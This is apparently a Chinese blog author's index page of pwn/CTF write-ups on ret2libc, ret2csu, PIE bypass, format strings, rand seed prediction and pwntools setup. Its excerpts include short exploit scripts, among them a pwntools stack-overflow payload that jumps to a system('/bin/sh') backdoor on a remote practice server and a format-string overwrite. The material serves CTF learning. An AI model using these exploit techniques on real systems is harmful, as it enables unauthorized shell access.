pwn
we have a whole life
这个作者很懒,什么都没留下…
展开
-
PWN:partial overwrite
pwn原创 2022-10-19 20:47:26 · 134 阅读 · 0 评论 -
PWN:[WEEK2]ret2libc
pwn原创 2022-10-19 20:41:44 · 185 阅读 · 1 评论 -
PWN:[WEEK2]ret2csu
pwn原创 2022-10-19 20:34:19 · 188 阅读 · 0 评论 -
PWN:[Week1]safe_shellcode
pwn原创 2022-10-19 20:27:05 · 519 阅读 · 1 评论 -
PWN:intorw
pwn原创 2022-10-19 20:14:36 · 130 阅读 · 0 评论 -
PWN:Protostar Heap0
pwn原创 2022-10-19 18:06:14 · 111 阅读 · 0 评论 -
partial overwrite绕过PIE
pwn原创 2022-10-16 23:04:25 · 283 阅读 · 0 评论 -
PWN:Bad Seed
感觉没什么太特殊的地方,都是把原本的代码拿过来用而已,所以就觉得这些东西,没什么意思。上面的代码是我从文章中自己摘出来的,然后自己看了看文章的解决方案写出的代码。第一题:破解下面的程序:random.c#include <stdio.h>#include <stdlib.h>#include <time.h> int main(){ srand((unsigned int)time(NULL)); int targetnum=rand原创 2022-03-01 19:03:21 · 268 阅读 · 0 评论 -
PWN:关于对Random函数的研究
random在CTF中经常出现,所以今天我想深度的研究这个函数。srand()函数原型:void srand(unsigned seed);给rand()函数设置种子。rand()函数原型在执行前,会先查看是否使用了srand()函数。1.使用了srand(seed),就按照这个东西来产生随机数。2.没有使用srand(seed),就默认使用了srand(1)来产生随机数。time函数原型:time_t time(time_t *timer)timer=NULL时得到当前日历时间(从1原创 2022-03-01 11:11:47 · 657 阅读 · 0 评论 -
攻防世界:PWN刷题-forgot
forgot这题,可有意思了。大晚上的,有点迷。看了几个wp,一个比一个离谱(太简单了)。后来自己试了试,还真是······思路:本题出现了指针变量并且进行了调用,所以可以利用栈溢出漏洞将该地址覆盖为后门函数的地址,让程序正常执行就可以拿到flag。坑:一定要注意啊对v5的判定。v5初值为1,进过下面的判断等操作后,其值被改变,而v5的值决定了程序调用那个指针所指的位置。exp一定要注意,输入的v2的第一个字符,决定了v5的值。当输入a的时候,经过判定,v5会变成2,则调用第2-1=1,也原创 2021-12-30 19:53:08 · 2250 阅读 · 0 评论 -
攻防世界:PWN刷题-实时数据监测
实时数据监测思路:程序是裸奔的。漏洞是格式字符串,利用这个漏洞修改key的值,就可以了。学会的新知识:本来想大数字覆盖一个一个来,但其实pwntools的fmtstr_payload模块就可以了。fmtstr_payload(offset,{address:value})exp:#!/usr/bin/pythonfrom pwn import *fmt_addr=0x0804A048p = remote("111.200.241.244",49656)payload=fmtstr_pa原创 2021-12-30 19:50:09 · 1457 阅读 · 0 评论 -
攻防世界:PWN刷题-反应釜开关控制
反应釜开关控制思路:没有开启pie,并且直接有system("/bin/sh");和ret2text方法一样。exp:#!/usr/bin/pythonfrom pwn import *p = remote(“111.200.241.244”,52515)payload=b’a’*512+b’b’*8+p64(0x00004005F6)p.sendline(payload)p.interactive()...原创 2021-12-30 19:48:13 · 2004 阅读 · 0 评论 -
pwntools:类型转换
byte和str首先一定要注意,byte和str在python里面有明确的区分,尤其是在做pwn的题目时,一定要注意这个问题。参考链接:https://www.cnblogs.com/mlgjb/p/7899534.htmlhexhex(x)x -- 10进制整数返回16进制数,以字符串形式表示。p32、p64p32(x)x-- 一个整型数据返回byte型。u32、u64u32(x)x-- byte型返回整型。int类型转换int(a,base=x)原创 2021-09-08 09:06:52 · 4405 阅读 · 1 评论 -
PWN:栈溢出----偏移的计算
就目前遇到的栈溢出题目而言,使用ida就可以完成便宜的计算。这些栈溢出题目,基本上不需要调试,ida本身提供的栈空间数据就可以实现偏移的计算。BUUCTF:bjdctf_2020_babystack2这道题目,我们看ida:具体做法不细说,主要看偏移:buf和nbyte看栈空间:下方没有s只有r,而r就是返回地址给了后门函数,那就利用read函数,达到缓冲区溢出的目的。+0x8-(-0x10)=0x18=24偏移就是二十四。以上只是本人拙见,栈溢出偏移困扰了我很久,希望这次不会原创 2021-08-03 21:20:20 · 1933 阅读 · 1 评论 -
PWN:pwntools的安装
pwntoolssudo apt updatesudo apt install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential(安装pip3)pip3 -v(查看版本)pip换源在根目录下创建文件夹:.pip在.pip里创建文件:pip.conf自行安装vimsudo apt vim使用vimlibcsearchpwndbgpedagef......原创 2021-07-01 21:55:18 · 2340 阅读 · 0 评论 -
PWN:栈,究竟是怎么一回事?(一:32bit)
栈,众所周知,学习pwn非常重要的一部分。经历了许多天的学习,这个折磨我许多天、但又充满谜团的问题,终于有了答案。前提知识:call指令调用一个函数,在进入函数之前,要完成一些工作:1.将call指令下一行指令的地址压入栈。这个地址也就是所谓的返回地址。2.将ebp的地址压入栈中以攻防世界的pwn题 《level2》为例:在main函数处下一个断点,单步运行:此时ip指向 call vulnerable_function(能从图上看出)也就是调用vulnerable函数。原创 2021-06-05 19:19:10 · 168 阅读 · 0 评论 -
C语言:空格的存在会影响程序的编译?<其实不太确定>
在编写c程序时,尤其是在复制粘贴时,有些空格的存在会影响程序的编译。最好删去这些空格。源程序:显然,可以看出存在以些这样的空格。删去后就没问题了。原创 2021-04-11 16:05:17 · 487 阅读 · 0 评论 -
pwn学习-----<netcat,也即nc>
第一次使用netcat,经历了太多的痛苦。看了许多大佬的文章,才找到如何在Ubuntu上安装nc。首先我想用yum安装,但死活无法使用yum,并且发现安装yum比较麻烦。于是我打算直接安装nc。参考:https://www.jianshu.com/p/91dd4ab317c7先输入命令:sudo apt-get -y install netcat-traditional然后输入sudo update-alternatives --config nc(设置默认的nc,选择/bin/nc.t原创 2021-03-13 10:48:19 · 1712 阅读 · 0 评论